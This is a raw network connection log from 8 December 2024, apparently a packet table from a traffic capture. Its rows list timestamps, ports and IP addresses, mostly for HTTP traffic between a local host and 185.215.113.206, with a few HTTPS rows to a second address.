Dec 8, 2024 17:45:49.302324057 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.302335978 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.302372932 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.302411079 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.303416967 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.303518057 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.304289103 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.304339886 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.304397106 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.305306911 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.305352926 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.305398941 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.306345940 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.306404114 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.306438923 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.307357073 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.307377100 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.307456970 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.307507038 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.308371067 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.308397055 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.308445930 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.309355021 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.309425116 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.309484005 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.310420036 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.310465097 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.310489893 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.311347961 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.311403990 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.311533928 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.311616898 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.312426090 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.312525988 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.312575102 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.313419104 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.313587904 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.313641071 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.314441919 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.314547062 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.314610004 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.315481901 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.315583944 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.316601038 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.316612959 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.316682100 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.316683054 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.371434927 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.371545076 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.371927023 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.372000933 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.372005939 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.372097015 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.372947931 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.373140097 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.374005079 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.374043941 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.374062061 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.374116898 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.375094891 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.375153065 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.375193119 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.375262022 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.376003027 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.376122952 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.376950026 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.377041101 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.377048969 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.377954960 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.378027916 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.378062010 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.378381968 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.378962994 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.379051924 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.379115105 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.379281998 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.380003929 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.380125046 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.380196095 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.381021023 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.381110907 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.381185055 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.382159948 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.382213116 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.382255077 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.382674932 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.383204937 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.383217096 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.383259058 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.383300066 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.384138107 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.384181023 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.385057926 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.385143042 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.385170937 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.386070013 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.386131048 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.386204004 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.387171984 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.387234926 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.387259007 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.387356997 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.388117075 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.388341904 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.388401031 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.389127016 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.389293909 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.389352083 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.390120029 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.390222073 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.390254021 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.390387058 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.390564919 CET	443	49840	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:49.390635014 CET	49840	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:49.390645027 CET	443	49840	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:49.391134024 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.391177893 CET	49840	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:49.391181946 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.391290903 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.391396046 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.392177105 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.392287016 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.393173933 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.393222094 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.393286943 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.394264936 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.394325972 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.394346952 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.395247936 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.395302057 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.395338058 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.396271944 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.396394968 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.396466970 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.397293091 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.397389889 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.397440910 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.398266077 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.398353100 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.398446083 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.399279118 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.399349928 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.399384975 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.399666071 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.400325060 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.400372982 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.400409937 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.401362896 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.401416063 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.401437998 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.402313948 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.402381897 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.402381897 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.403340101 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.403376102 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.403403044 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.403404951 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.403449059 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.404301882 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.405385017 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.413127899 CET	443	49840	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:49.413202047 CET	49840	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:49.413208961 CET	443	49840	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:49.413444996 CET	49840	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:49.442589045 CET	443	49840	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:49.442675114 CET	49840	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:49.442679882 CET	443	49840	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:49.442714930 CET	49840	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:49.465032101 CET	443	49840	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:49.465107918 CET	49840	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:49.465112925 CET	443	49840	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:49.465150118 CET	49840	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:49.489890099 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.489974976 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.490005970 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.490132093 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.490295887 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.490379095 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.490515947 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.490645885 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.490654945 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.490700006 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.491519928 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.491633892 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.491772890 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.492571115 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.492643118 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.492721081 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.492775917 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.493602991 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.493664026 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.493680000 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.493797064 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.494601011 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.494669914 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.494700909 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.494743109 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.495732069 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.495810032 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.495826006 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.495851040 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.496674061 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.496783018 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.496872902 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.497021914 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.497823954 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.497889042 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.497908115 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.497983932 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.498665094 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.498733044 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.498739004 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.498770952 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.499671936 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.499768972 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.499790907 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.499994993 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.500678062 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.500801086 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.500808954 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.500963926 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.501739979 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.501789093 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.501815081 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.501832008 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.502724886 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.502753019 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.502816916 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.503714085 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.503782988 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.503812075 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.503985882 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.504755974 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.504858017 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.504926920 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.505762100 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.505865097 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.505909920 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.506742001 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.506855965 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.506927967 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.507790089 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.507878065 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.508796930 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.508868933 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.508904934 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.509834051 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.563373089 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.563410044 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.563496113 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.563819885 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.563914061 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.564182043 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.564196110 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.564322948 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.565174103 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.565231085 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.565253973 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.565285921 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.566076040 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.566204071 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.566282988 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.567085028 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.567178965 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.567198038 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.567259073 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.568115950 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.568170071 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.568228006 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.568303108 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.569184065 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.569195986 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.569236040 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.570143938 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.570187092 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.570205927 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.570337057 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.571155071 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.571212053 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.571270943 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.571357012 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.572048903 CET	443	49840	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:49.572133064 CET	49840	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:49.572139025 CET	443	49840	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:49.572196007 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.572210073 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.572230101 CET	49840	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:49.572273016 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.573191881 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.573276043 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.573311090 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.573415995 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.574230909 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.574295044 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.574323893 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.574371099 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.575238943 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.575320959 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.575407028 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.576267958 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.576394081 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.576426029 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.576469898 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.577332973 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.577430964 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.577447891 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.577619076 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.578257084 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.578314066 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.578366995 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.578448057 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.579386950 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.579452991 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.579571009 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.580346107 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.580358982 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.580471039 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.581278086 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.581330061 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.581387997 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.581424952 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.582309961 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.582400084 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.582412958 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.582452059 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.583369017 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.583527088 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.583540916 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.583627939 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.584332943 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.584398031 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.584431887 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.584620953 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.585452080 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.585524082 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.585525990 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.585628033 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.586359024 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.586426973 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.586498976 CET	80	49805	185.215.113.206	192.168.2.6
